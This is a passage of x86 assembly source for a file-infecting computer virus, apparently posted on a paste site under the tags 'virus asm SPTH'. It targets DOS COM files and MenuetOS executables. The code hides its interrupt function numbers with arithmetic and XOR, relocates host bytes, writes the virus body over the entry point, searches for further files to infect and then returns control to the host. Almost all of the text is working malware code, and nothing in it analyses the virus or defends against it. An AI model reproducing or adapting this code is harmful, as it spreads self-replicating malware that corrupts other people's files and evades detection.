  733.     jge com_men_st2end2         ; If not zero (still 16byte blocks to copy), jmp to com_men_st2end2
  734.  
  735.     mov ax, 0x42FF          ; Set File Pointer to start (encrypted)
  736.     sub ax, 0xFF            ; Decrypt
  737.     xor cx, cx              ; cx=0
  738.     xor dx, dx              ; dx=0
  739.     int 0x21                ; Execute it
  740.  
  741.     mov ax, 0x1             ; Set File Pointer (encrypted)
  742.     add ax, 0x4200          ; Decrypt
  743.     xor cx, cx              ; cx=0
  744.     pop dx              ; dx=offset to read
  745.     int 0x21                ; Execute it
  746.  
  747.     mov ah, 0xA6            ; Read from file (encrypted)
  748.     xor ah, 0x99            ; Decrypt
  749.     mov cx, di              ; How much to read (REST)
  750.     lea dx, [bp+com_men_buffer2]    ; Where to store
  751.     int 0x21                ; Execute it
  752.  
  753.     mov ax, 0xBDFD          ; Set File Pointer to end (encrypted)
  754.     not ax              ; Decrypt
  755.     xor cx, cx              ; cx=0
  756.     xor dx, dx              ; dx=0
  757.     int 0x21                ; Execute it
  758.  
  759.     mov ah, 0xBF            ; Write to file (encrypted)
  760.     not ah              ; Decrypt
  761.     mov cx, di              ; How much to write (REST)
  762.     lea dx, [bp+com_men_buffer2]    ; What to write: Rest of bytes
  763.     int 0x21                ; Execute it
  764.  
  765.     pop ax              ; Pop trash
  766.     jmp virinclude          ; Jump to Virus-Include-Part
  767.  
  768. com_menfi_ge:
  769.    com_men_st2end:
  770.     mov ah, 0x42            ; Set File Pointer to start (encrypted)
  771.     xor al, al              ; Decrypt
  772.     xor cx, cx              ; cx=0
  773.     xor dx, dx              ; dx=0
  774.     int 0x21                ; Execute it
  775.  
  776.     mov ax, 0x4200          ; Set File Pointer (encrypted)
  777.     inc al              ; Decrypt
  778.     xor cx, cx              ; cx=0
  779.     pop dx              ; dx=offset to read
  780.     push    dx              ; dx to the stack again
  781.     int 0x21                ; Execute it
  782.  
  783.     pop dx              ; Get offset where to read from stack to dx
  784.     add dx, 0x10            ; Add 16 to dx (As we need the next 16 bytes)
  785.     push    dx              ; To the stack again
  786.  
  787.     mov ah, 0x30            ; Read from file (encrypted)
  788.     add ah, 0xF             ; Decrypt
  789.     mov cx, 0x10            ; How much to read (16 bytes)
  790.     lea dx, [bp+com_men_buffer2]    ; Where to store
  791.     int 0x21                ; Execute it
  792.  
  793.     mov ax, 0x4002          ; Set File Pointer to end (encrypted)
  794.     add ax, 0x200           ; Decrypt
  795.     xor cx, cx              ; cx=0
  796.     xor dx, dx              ; dx=0
  797.     int 0x21                ; Execute it
  798.  
  799.     mov ah, 0x25            ; Write to file (encrypted)
  800.     add ah, 0x1B            ; Decrypt
  801.     mov cx, 0x10            ; How much to write: 16 byte
  802.     lea dx, [bp+com_men_buffer2]    ; What to write: First bytes of file for buffer
  803.     int 0x21                ; Execute it
  804.  
  805.     dec di              ; Decrease di
  806.     test    di, di              ; test di if zero
  807.    jnz  com_men_st2end              ; If not zero, write next 16 byte
  808.  
  809.     mov ax, 0x2200          ; Set File Pointer to start (encrypted)
  810.     add ax, 0x2000          ; Decrypt
  811.     xor cx, cx              ; cx=0
  812.     xor dx, dx              ; dx=0
  813.     int 0x21                ; Execute it
  814.  
  815.     mov ax, 0x6201          ; Set File Pointer (encrypted)
  816.     sub ax, 0x2000          ; Decrypt
  817.     xor cx, cx              ; cx=0
  818.     pop dx              ; dx=offset to read
  819.     int 0x21                ; Execute it
  820.  
  821.     mov ah, 0x20            ; Read from file (encrypted)
  822.     add ah, 0x1F            ; Decrypt
  823.     pop cx              ; Get REST
  824.     push    cx              ; Save REST again
  825.     lea dx, [bp+com_men_buffer2]    ; Where to store
  826.     int 0x21                ; Execute it
  827.  
  828.     xor ax, ax              ; Set File Pointer to end (encrypted)
  829.     add ax, 0x4202          ; Decrypt
  830.     xor cx, cx              ; cx=0
  831.     xor dx, dx              ; dx=0
  832.     int 0x21                ; Execute it
  833.  
  834.     mov ah, 0xFB            ; Write to file (encrypted)
  835.     xor ah, 0xBB            ; Decrypt
  836.     pop cx              ; How much to write: REST bytes
  837.     lea dx, [bp+com_men_buffer2]    ; What to write: REST bytes
  838.     int 0x21                ; Execute it
  839.  
  840. virinclude:                 ; Virus-Include-Part
  841.     mov ax, 0xBDFF          ; Set File Pointer to start (encrypted)
  842.     not ax              ; Decrypt
  843.     xor cx, cx              ; cx=0
  844.     xor dx, dx              ; dx=0
  845.     int 0x21                ; Execute it
  846.  
  847.     mov ax, 0xBDFE          ; Set File Pointer (encrypted)
  848.     not ax              ; Decrypt
  849.     xor cx, cx              ; cx=0
  850.     mov dx, [bp+com_men_buffer1+0xC]    ; destination: Entry Point
  851.     int 0x21                ; Execute it
  852.  
  853.     mov ah, 0x53            ; Write to file (encrypted)
  854.     xor ah, 0x13            ; Decrypt
  855.     mov cx, viruslength         ; How much to write: Viruslength
  856.     mov dx, bp              ; What to write: Viruscode
  857.     add dx, START           ; Get relative offset
  858.     int 0x21                ; Execute it
  859.  
  860. com_men_FNF:
  861.     mov ah, 0xD0            ; Close file (encrypted)
  862.     xor ah, 0xEE            ; Decrypt
  863.     int 0x21                ; Execute it
  864.  
  865.     mov ah, 0xA1            ; Find Next File (encrypted)
  866.     xor ah, 0xEE            ; Decrypt
  867.     jmp c_men_infection         ; Infect it
  868.  
  869. ret_host:
  870.  
  871.  
  872.     mov di, 0x200           ; di=0x100 (as it's a COM-file) (encrypted)
  873.     sub di, 0x100           ; Decrypt
  874.     jmp di              ; Jump to di (Jump to Host-start)
  875.  
  876.  
  877.     com_men_string  db '*.*',0      ; FileMask for MENUETs
  878.     com_string  db '*.com',0        ; FileMask for COMs
  879.     com_men_buffer1: times 0x10 db 0x0  ; 16 byte buffer for Menuet-Sign
  880.     com_men_buffer2: times 0x10 db 0x0  ; 16 byte buffer for Saving the Hostfile
  881.     com_4bytes  db 0xE9, 0x0, 0x0 ,'S'  ; Jmp to virus + Infection Mark
  882.     com_rest_bytes  db 0xCD, 0x20, 0x90, 0x90   ; 1st Generation only: int 0x20 | NOP | NOP
  883.  
  884. end_virus:                     ;ENDE
  885. I_END:
Tags: virus asm SPTH
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement